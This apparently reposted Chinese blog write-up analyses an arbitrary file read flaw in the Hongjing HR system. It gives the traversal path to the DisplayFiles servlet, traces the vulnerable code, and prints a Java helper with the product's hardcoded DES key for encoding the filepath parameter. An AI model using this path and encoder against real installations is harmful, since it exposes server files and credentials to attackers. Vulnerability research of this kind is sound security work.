宏景任意文件读取漏洞分析

admin 2024年4月19日00:10:20评论5 views字数 2493阅读8分18秒阅读模式

免责申明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

0x00 前言

    好久没有给师傅们进行更新文章啦,不好意思啦,前段时间有点忙,今天给大家分析一个漏洞为宏景的任意文件读取漏洞。

0x01 漏洞分析

漏洞径:/templates/attestation/../../servlet/DisplayFiles

知道路径之后我们直接进行定位到相关的web.xml文件当中。

宏景任意文件读取漏洞分析

宏景任意文件读取漏洞分析

可以看到当我们访问相关的路径为/servlet/DisplayFiles的时候会触发class文件

com.hjsj.hrms.servlet.DisplayCustomerWordFile

我们进行跟入分析。

宏景任意文件读取漏洞分析

查看代码我们可以看出来存在一个接受参数为filepath参数,并且传递到了方法decode方法当中进行了解密,解密我们稍后说,除了解密还进行传递到了方法keyWord_reback当中,跟方法进行查看。

宏景任意文件读取漏洞分析

在这个方法当中只是单纯的进行将中文字符替换为了英文字符,我们继续向下走。

宏景任意文件读取漏洞分析

可以看到将我们传入的参数传递到了file类当中,并且进行传递到了方法getMimeType,我们跟这个方法看看是干什么的。

宏景任意文件读取漏洞分析

在这个方法当中通过获取到后缀名,来指定一个响应类型,并且在没有找到合适的响应类型的时候会给到一个响应如下。

宏景任意文件读取漏洞分析

其实对于我们代码审计来说也没什么影响,我们就继续向下走,查看下面的代码。

宏景任意文件读取漏洞分析

又将我们传递的参数给到了方法sendTempFile方法当中,我们跟入相关方法。

宏景任意文件读取漏洞分析

这里对我们传入的参数为var1先进行调用了FileInputStream后又传递给了字节缓冲流,并且在最后进行了文件的读取,并且下载。

宏景任意文件读取漏洞分析

至此造成了任意文件的读取,但是有一个地方我们忽略了,即为在我们传入相关的参数的时候进行了解密,那么我们要进行扣出来相关的加密代码,保证程序在接收到我们的参数的时候解密成功。

相关加密代码如下。

package com.example.springboot;import sun.misc.BASE64Encoder;import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.DESKeySpec;import javax.crypto.spec.IvParameterSpec;public class hongjing_jiami {    public static String encrypt(String var0, byte[] var1) {        String var2 = "";        try {            byte[] var3 = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};            DESKeySpec var4 = new DESKeySpec(var0.getBytes());            SecretKeyFactory var5 = SecretKeyFactory.getInstance("DES");            SecretKey var6 = var5.generateSecret(var4);            Cipher var7 = Cipher.getInstance("DES/CBC/PKCS5Padding");            IvParameterSpec var8 = new IvParameterSpec(var3);            var7.init(1, var6, var8);            byte[] var10 = var7.doFinal(var1);            BASE64Encoder var11 = new BASE64Encoder();            var2 = new String(var11.encode(var10));        } catch (Exception var12) {            var12.printStackTrace();        }        return var2;    }    public static String encrypt(String var0, String var1) {        return encrypt(var0, var1.getBytes());    }    public static String encrypt_1(String var0) {        return encrypt("ilovethisgame", var0);    }    public static String encrypt(String var0) {        if (null == var0) {            return "";        } else {            String var1 = encrypt_1(var0);            var1 = var1.replaceAll("%", "@2HJ5@");            var1 = var1.replaceAll("\+", "@2HJB@");            var1 = var1.replaceAll(" ", "@2HJ0@");            var1 = var1.replaceAll("\/", "@2HJF@");            var1 = var1.replaceAll("\?", "@3HJF@");            var1 = var1.replaceAll("#", "@2HJ3@");            var1 = var1.replaceAll("&", "@2HJ6@");            var1 = var1.replaceAll("=", "@3HJD@");            var1 = var1.replaceAll("rn", "").replaceAll("n", "").replaceAll("r", "");            var1 = var1.replaceAll("@", "PAATTP");            return var1;        }    }    public static void main(String[] args) {        hongjing_jiami hongjing_jiami = new hongjing_jiami();        System.out.println(encrypt("加密数据"));    }}

这里由于扣取加密代码有点繁琐,感兴趣师傅可以私聊我。

最终实现效果。

宏景任意文件读取漏洞分析

0x02 漏洞验证

宏景任意文件读取漏洞分析

0x03 完结

作者联系方式

宏景任意文件读取漏洞分析

关于内部纷传圈子,可以加添加作者咨询

宏景任意文件读取漏洞分析

宏景任意文件读取漏洞分析

宏景任意文件读取漏洞分析

宏景任意文件读取漏洞分析

原文始发于微信公众号(进击安全):宏景任意文件读取漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日00:10:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   宏景任意文件读取漏洞分析https://cn-sec.com/archives/2670843.html

发表评论

匿名网友 填写信息